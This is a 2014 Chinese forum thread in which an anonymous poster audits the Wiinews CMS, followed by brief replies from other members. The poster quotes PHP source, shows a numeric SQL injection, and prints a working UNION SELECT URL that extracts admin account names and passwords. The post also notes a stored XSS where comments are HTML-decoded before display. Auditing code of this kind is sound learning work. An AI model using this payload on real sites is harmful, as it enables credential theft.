Anonymous 发表于 2014-12-15 10:10:15

一次简单的审计过程(未完)

本帖最后由 匿名 于 2014-12-15 10:16 编辑

    前言:分析的这套CMS比较垃圾,名字叫Wiinews,但也算小弟的第一次代码审计. 第一次发帖,文中有诸多不足.希望大家多多指点.小弟QQ 424237301,爱学习爱基友,希望能与大家共同学习交流!

    最近闲的一B,于是昨天去chinaz找了一个cms想审计下
       
       

   可以看到,已经带入数据库查询了.
   看下源码.

<?php
        $id=sqlReplace(Trim($_GET['id']));
        $sqlStr="select * from wiinews_news where news_id=$id";
        $result = mysql_query($sqlStr) or die ("查询失败,请检查SQL语句。编码号:1010");
        $row = mysql_fetch_array($result);
        if ($row){
                $title=$row['news_title'];
                $subtitle=$row['news_subtitle'];
                $sort=$row['news_sort'];
                $name=$row['news_name'];
                $desc=$row['news_desc'];
                $content=$row['news_content'];
                $author=$row['news_author'];
                $source=$row['news_source'];
                $url1=$row['news_url'];
                $addTime=$row['news_addTime'];
                $newsStatus=$row['news_status'];
                $pic=$row['news_picture'];
                $comCount=$row['news_comCount'];
        }else{
                die ("新闻不存在。");
        }
        if ($newsStatus=="1")
                die ("新闻处于待审核状态");
?>


红色标记的sqlReplace()应该是对传入的参数做过滤的,看看他是怎么过虑的,找到function.php


function sqlReplace($str)
{
   $strResult = $str;
   if(!get_magic_quotes_gpc())
   {
   $strResult = addslashes($strResult);
   }
   return HTMLEncode($strResult);
}
function HTMLEncode($str){
        if (!empty($str)){
                $str=str_replace("&","&amp;",$str);
                $str=str_replace(">","&gt;",$str);
                $str=str_replace("<","&lt;",$str);
                $str=str_replace(CHR(32),"&nbsp;",$str);//空格
                $str=str_replace(CHR(9),"&nbsp;&nbsp;&nbsp;&nbsp;",$str);//tab
                $str=str_replace(CHR(9),"    ",$str);
                $str=str_replace(CHR(34),"&quot;",$str); //"
                $str=str_replace(CHR(39),"&#39;",$str);//'
                $str=str_replace(CHR(13),"",$str);//回车
                $str=str_replace(CHR(10),"<br/>",$str); //
        }
        return $str;
}


这里他把一些字符给过滤了, = = 看着怎么好像……
来试试吧,咱们这里是数字型注入.所以应该是可以的.



exp : http://localhost/xw/newsDetail.php?id=2/**/and/**/1=2/**/union/**/select/**/1,2,admin_account,admin_password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/Wiinews_admin

还有其他很多地方也有注入,比如搜索栏.



但是想一想.搜索栏搜索是怎样一条语句?

Select * from table_name where news_title like ‘%搜索%’

如果注入的话,好像没办法避免单引号一类的.



另外在新闻下面可以评论的.
可以试试评论有xss一类的洞洞没.





看下源码是怎么做的.


<?php
        $action=$_GET["act"];
        switch($action){
        case "post":
                $id=Trim($_GET["id"]);
                $comment=HTMLEncode($_POST["comment"]);
                if(empty($comment)) {
                        die ("评论不能为空。<a href='newsDetail.php?id=".$id."'>返回</a>");
                }
                if(strlen($comment)>420){
                        die ("评论不能超过140字。<a href='newsDetail.php?id=".$id."'>返回</a>");
                }
                $sql="insert into wiinews_comment(comment_news,comment_name,comment_addTime,comment_ip,comment_content,comment_status) values ('".$id."','admin','".date("Y:m:d H:i:s")."','".$_SERVER['REMOTE_ADDR']."','".$comment."','".$commentCheck."')";
                if(mysql_query($sql)) {
                        $sqlStr="update wiinews_news set news_comCount=news_comCount+1 where news_id='".$id."'";
                        mysql_query($sqlStr);
                        if($commentCheck=="1"){
                                echo "评论需审核,请等待...<a href='newsDetail.php?id=".$id."'>返回</a>";
                        }else{
                                echo "评论成功!<a href='newsDetail.php?id=".$id."'>返回</a>";
                        }
                }else{
                        echo "评论失败!<a href='newsDetail.php?id=".$id."'>返回</a>";
                }
                break;
        }
?>


红色标记.原来是这样. HTMLEncode()
可是,可是。
当我手贱的打开后台留言板的时候却。。



这是什么情况?

继续看代码.

commentDetail.php


<?php
                $id=sqlReplace(Trim($_GET['id']));
                if(empty($id)){
                        alertInfo("非法访问",'',1);
                }else{
                        $sqlStr="select * from wiinews_comment where comment_id=".$id;
                        $result = mysql_query($sqlStr);
                        $row = mysql_fetch_array($result);
                        if($row)
                        {
                                $news=$row['comment_news'];
                                $name=$row['comment_name'];
                                $ip=$row['comment_ip'];
                                $addTime=$row['comment_addTime'];
                                $content=$row['comment_content'];
                                $status=$row['comment_status'];
                        }
                }
                $sqlStr1="select * from wiinews_news where news_id=$news";
                $result1 = mysql_query($sqlStr1);
                $row1 = mysql_fetch_array($result1);
                if ($row1)
                {
                        $newsName=$row1['news_title'];
                }
        ?>



看着没什么问题嘛。。。。
但是。。
往下面继续看。。


<div class="fromcontent">
                        <p>评论人姓名:<?php echo $name; ?></p>
                        <p>评论人IP:<?php echo $ip; ?></p>
                        <p>评论时间:<?php echo $addTime;?></p>
                        <p>评论所属新闻:<?php echo $newsName; ?></p>
                        <p>内容: [<a href="news_do.php?act=del1&s=<?php echo $id?>">删除</a>] <?php If ($status=="1") {?>[<a href="news_do.php?act=check&id=<?php echo $id?>">审核通过</a>] <?php }?></p>
                        <hr/>
                        <?php echo HTMLDecode($content);?>


他最后把编码后的内容给还原了? 还原了?还原了?


不习惯看贴的,这边有附件。可以自行下载.


csadsl 发表于 2014-12-15 11:57:34

很好的代码审计:lol

90_ 发表于 2014-12-15 12:21:25

既然是匿名,干嘛还加QQ?

契约 发表于 2014-12-15 17:25:54

我现在才知道可以匿名发帖{:soso_e153:}- -

幽暗 发表于 2014-12-15 17:50:50

现在才知道可以匿名发帖

ICBM 发表于 2014-12-15 19:44:23

为什么匿名?我也想做代审来着,求带啊

凡火火。 发表于 2014-12-16 09:14:56

90_ 发表于 2014-12-15 12:21
既然是匿名,干嘛还加QQ?

我才知道论坛可以匿名……

super 发表于 2014-12-16 12:21:45

小学生代码审计还玩不起
页: [1]
查看完整版本: 一次简单的审计过程(未完)